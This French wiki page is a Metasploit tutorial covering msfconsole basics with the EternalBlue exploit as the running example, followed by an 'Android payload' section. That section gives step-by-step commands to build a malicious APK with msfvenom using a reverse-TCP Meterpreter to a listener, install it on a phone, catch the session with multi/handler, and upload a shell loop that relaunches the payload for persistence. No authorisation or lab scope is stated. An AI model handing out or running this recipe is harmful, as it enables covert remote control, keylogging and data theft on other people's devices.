# Metasploit

Un framework très puissant dans le monde de la Cybersécurité

# Les bases

#### 1/ Lancé Metasploit  


Metasploit est installé de base sur les os Kali Linux et Parrot sinon il vous faudra la téléchargé et l'installé vous même

[Wiki - linux.org installé Metasploit](https://linuxfr.org/wiki/tuto-howto-debian-ubuntu-installer-metasploit-framework-depuis-github)

Entré la commande suivante dans le terminal linux pour lancé la console Metasploit

```bash
msfconsole
```

Vous devriez vous retrouver avec une console msf5 &gt; ou msf6 &gt;

[![Screen-Shot-2022-04-03-at-14.41.09.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/J1PC7H1uS9MRKUmE-screen-shot-2022-04-03-at-14-41-09.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/J1PC7H1uS9MRKUmE-screen-shot-2022-04-03-at-14-41-09.png)

<p class="callout warning"><span style="font-size: 11pt; font-family: Arial; background-color: transparent; font-weight: 400; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Si la commande msfconsole vous donne rien, ces sûrement vous n'avez pas Metasploit d'installé.</span></p>


<p class="callout info"><span style="font-size: 11pt; font-family: Arial; background-color: transparent; font-weight: 400; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Les Commandes communes de linux comme "ls", "cd", "clear", "history" ... marche aussi dans cette console.</span></p>

####   


#### 2/ Les commandes Utiles

<details id="bkmrk-1%2F-help-besoin-d%27aid"><summary>Command help / Obtenir l'aide</summary>

#### <span style="font-size: 14pt; font-family: Arial; background-color: transparent; font-weight: 400; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Obtenir l'aide pour le module set </span>

```bash
help set
```

</details><details id="bkmrk-command-help-besoin-"><summary>Command Search / Rechercher dans Metasploit</summary>

#### [![Capture d’écran_2022-11-23_09-57-06.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/ORT9OXb8IpBYPzUY-capture-decran-2022-11-23-09-57-06.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/ORT9OXb8IpBYPzUY-capture-decran-2022-11-23-09-57-06.png)

La sortie de la commande **<span style="text-decoration: underline;">search</span>** fournit un aperçu de chaque module renvoyé.

Vous pouvez voir le type de module (auxiliaire, exploit, etc.) et la catégorie du module (scanner, admin, windows, Unix, etc.).

<details><summary>Ranking Exploit</summary>

<div class="tw-ta-container F0azHf tw-nfl" id="bkmrk-une-autre-informatio" tabindex="0">Une autre information essentielle renvoyée se trouve dans la colonne « rang ». Les exploits sont évalués en fonction de leur fiabilité. Le tableau ci-dessous fournit leurs descriptions respectives.</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">  
</div>[![ranking.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/mEdRsj9e0uyBP6Uv-ranking.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/mEdRsj9e0uyBP6Uv-ranking.png)

</details>
<p class="callout info"><span style="font-size: 11pt; font-family: Arial; background-color: transparent; font-weight: 400; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Vous pouvez utiliser n'importe quel module renvoyé dans un résultat de recherche avec la commande use suivie du numéro au début de la ligne de résultat.  
Par exemple, "use 0" au lieu d'utiliser "auxiliaire/admin/smb/smb:ms17\_010\_command"</span></p>


Vous pouvez orienter la fonction de recherche à l'aide de mots-clés tels que type et plate-forme.

  
Par exemple, si nous voulions que nos résultats de recherche n'incluent que des modules auxiliaires, nous pourrions définir le type sur auxiliaire. La capture d'écran ci-dessous montre la sortie de la commande **<span style="text-decoration: underline;">search type:auxiliary telnet</span>**.

[![search type.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/KP3XOhhLcarf36bZ-search-type.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/KP3XOhhLcarf36bZ-search-type.png)

<div class="tw-ta-container F0azHf tw-nfl" id="bkmrk--14" tabindex="0"></div></details>#### 3/ Utilisé un module  


Maintenant qu'on sait trouver un module nous pouvons l'utilisé avec la commande <span style="text-decoration: underline;"><span style="color: rgb(0, 0, 0); text-decoration: underline;">**use**</span></span><span style="color: rgb(0, 0, 0);"> suivi du chemin complet exemple :</span>

```shell-session
use exploit/windows/smb/ms17_010_eternalblue 
```

[![use.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/NzAt5h2VWFZrpxwL-use.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/NzAt5h2VWFZrpxwL-use.png)

De nouvelles commandes vont nous être utiles pour mieux comprendre comment l'outil fonction ou de quel information il a besoin.

<details id="bkmrk-command-info-de-plus"><summary>command info</summary>

<p class="callout info"><span style="text-decoration: underline;">**Info**</span> n'est pas un menu d'aide ; il affichera des informations détaillées sur le module telles que son auteur, les sources pertinentes, etc.</p>

De plus amples informations sur n'importe quel module peuvent être obtenues en tapant la commande info dans son contexte.

[![info1.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/F9KOyDtfezriAtUd-info1.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/F9KOyDtfezriAtUd-info1.png)[![info2.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/1G7A6vQM9jletiCQ-info2.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/1G7A6vQM9jletiCQ-info2.png)

<div class="tw-ta-container F0azHf tw-nfl" id="bkmrk-vous-pouvez-%C3%A9galemen" tabindex="0">Vous pouvez également utiliser la commande <span style="text-decoration: underline;">**<span style="color: rgb(0, 0, 0); text-decoration: underline;">info</span>**</span> suivie du chemin du module à partir de l'invite msfconsole</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">(par exemple, <span style="color: rgb(0, 0, 0);">**info exploit/windows/smb/ms17\_010\_eternalblue**</span>).</div></details><details id="bkmrk-command-show-options"><summary>command show options</summary>

La commande show peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliaire, charge utile, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les charges utiles pouvant être utilisées avec l'exploit <span style="text-decoration: underline;">ms17-010 Eternalblue</span>.

[![showOptions.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/84zyRR89ojjbBCYP-showoptions.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/84zyRR89ojjbBCYP-showoptions.png)

Cela imprimera les options liées à l'exploit que nous avons choisi plus tôt. La commande <span style="text-decoration: underline;"><span style="color: rgb(0, 0, 0); text-decoration: underline;">**show options**</span></span> aura des sorties différentes selon le contexte dans lequel elle est utilisée.

L'exemple ci-dessus montre que cet exploit nécessitera que nous définissions des variables telles que RHOSTS et RPORT.

<p class="callout info">N'oubliez pas qu'en fonction du module que vous utilisez, des paramètres supplémentaires ou différents peuvent devoir être définis.</p>

<p class="callout success">Utilise la commande show options pour répertorier les paramètres requis.</p>

<div class="tw-ta-container F0azHf tw-nfl" tabindex="0">  
</div></details><details id="bkmrk-command-set-il-est-r"><summary>command set</summary>

<p class="callout info">Il est recommandé d'utiliser la commande show options pour répertorier les paramètres requis.</p>

Tous les paramètres sont définis à l'aide de la même syntaxe de commande :  
<span style="text-decoration: underline;">**set PARAMETER\_NAME VALUE**</span>

##### Exemple :

[![set1.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/D0SvXa3CQM0ZncG9-set1.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/D0SvXa3CQM0ZncG9-set1.png)

Nous voyons que RHOSTS a besoin d'une valeur et nous allons lui donné avec la commande suivante.

```
set RHOSTS 66.66.66.66
```

[![set2.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/b3MroITqxxInK7no-set2.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/b3MroITqxxInK7no-set2.png)

 Le changement a bien était éffectué.

[![set3.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/x0tyXOfxrzWPKMEl-set3.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/x0tyXOfxrzWPKMEl-set3.png)

<p class="callout warning">Il faudra remettre les valeurs a chaque changement de module</p>

<p class="callout info">La commande <span style="text-decoration: underline;">**setg**</span> de gardé en mémoire les valeurs jusqu’à la fermeture de Metasploit ou effacer le avec la commande <span style="text-decoration: underline;">**unsetg**</span>  
</p>

</details><details id="bkmrk-command-show-la-comm"><summary>command show</summary>

La commande <span style="text-decoration: underline;">**show**</span> peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliary, payload, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les payload pouvant être utilisées avec l'exploit ms17-010 Eternalblue.

[![showPayload.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/xSns0dBA2r8Rnuot-showpayload.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/xSns0dBA2r8Rnuot-showpayload.png)

<p class="callout info">Tous les paramètre pour la commande "show" : all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites  
</p>

</details><details id="bkmrk-command-back-vous-po"><summary>command back</summary>

Vous pouvez quitter le contexte en utilisant la commande <span style="text-decoration: underline;">**back**</span>.

[![back.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/1ikYxhzu0wfN4lPN-back.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/1ikYxhzu0wfN4lPN-back.png)

</details><details id="bkmrk-command-exploit-%2F-ru"><summary>command exploit / run</summary>

Utiliser des modules

Une fois tous les paramètres du module définis, vous pouvez lancer le module à l'aide de la commande exploit.

Metasploit prend également en charge la commande <span style="text-decoration: underline;">**run**</span>, qui est un alias créé pour la commande <span style="text-decoration: underline;">**exploit**</span> car le mot exploit n'avait pas de sens lors de l'utilisation de modules qui n'étaient pas des exploits (scanners de ports, scanners de vulnérabilités, etc.).

La commande <span style="text-decoration: underline;">**exploit**</span> peut être utilisée sans aucun paramètre ou en utilisant le paramètre "-z".

La commande <span style="text-decoration: underline;">**exploit -z** </span>exécutera l'exploit et mettra la session en arrière-plan dès son ouverture.

[![exploit.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/bpgp5XtjzVoh0Y20-exploit.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/bpgp5XtjzVoh0Y20-exploit.png)

</details><details id="bkmrk-command-sessions-la-"><summary>command sessions</summary>

La commande <span style="text-decoration: underline;">**sessions**</span> peut être utilisée à partir de l'invite msfconsole ou de n'importe quel module pour voir les sessions existantes crée par un exploit.

[![session.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/bhO5YRw2AmCW9fyJ-session.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/bhO5YRw2AmCW9fyJ-session.png)

<div class="tw-ta-container F0azHf tw-nfl" id="bkmrk-pour-interagir-%28se-c" tabindex="0">Pour interagir (se connecter) avec n'importe quelle session, vous pouvez utiliser la commande **<span style="text-decoration: underline;">sessions -i ID</span>**</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">  
</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">[![sessions.png](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/scaled-1680-/SL9gWNSCoqlPm3eK-sessions.png)](https://wiki.mira-ceti.ovh/uploads/images/gallery/2022-11/SL9gWNSCoqlPm3eK-sessions.png)</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">  
</div><div class="tw-ta-container F0azHf tw-nfl" tabindex="0">La session est connecté, et maintenant nous avons accès a la console meterpreter.</div></details>#### 4/ Meterpreter

Meterpreter est un outil qui permet de réaliser toutes sortes d’actions sur la machine cible.  
Par exemple, nous pouvons télécharger des fichiers, lancer un Keylogger, prendre une capture d’écran, etc…

<div class="tw-ta-container F0azHf tw-nfl" id="bkmrk--5" tabindex="0"></div>

# Android payload

from https://www.youtube.com/watch?v=AT-1\_uJjA7M

  
commencer par créer une application malveillante a laide de msfvenom

port et ip du pc host  
lhost=192.168.1.176  
lport=45678

msfvenom -p android/meterpreter/reverse\_tcp lhost=192.168.1.176 lport=45678 &gt; ~/Desktop/payload.apk

le push dans un téléphone  
adb push payload.apk sdcard/Download/

installer et lancer lapplication avec tout les droit

ouvrire la console sur le pc host

metasploit

use exploit/multi/handler  
set payload android/meterpreter/reverse\_tcp  
set lhost 192.168.1.176  
set lport 45678  
run

quand un appareil sera connecter il ouvrira une meterpreter session

Commande pour avoir les info sur lappareil  
sysinfo

  
on va rendre le payload persistant a laide dun script

persistent.sh

```
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
```

créer un script avec ce code  
  
  
se connecter a une session (appareil avec le payload)

sessions -i 1   
sessions -i x

quand on a "metrpreter &gt; " nous somme dnas un appareil on peut utilsier cd et ls pour ce déplacer   
on va a la racine puis sdcard et downlaod  
cd /sdcard/Download

on upload le script   
upload ~/github/androidpayload/persistent.sh

on utiliser la commande pour passer sur le terminal

shell

et on executer le fichier

sh persistent.sh

puis CTRL+Z pour passer le shell en background on confirme

commande backgroud pour mettre la session en arrere plan  
background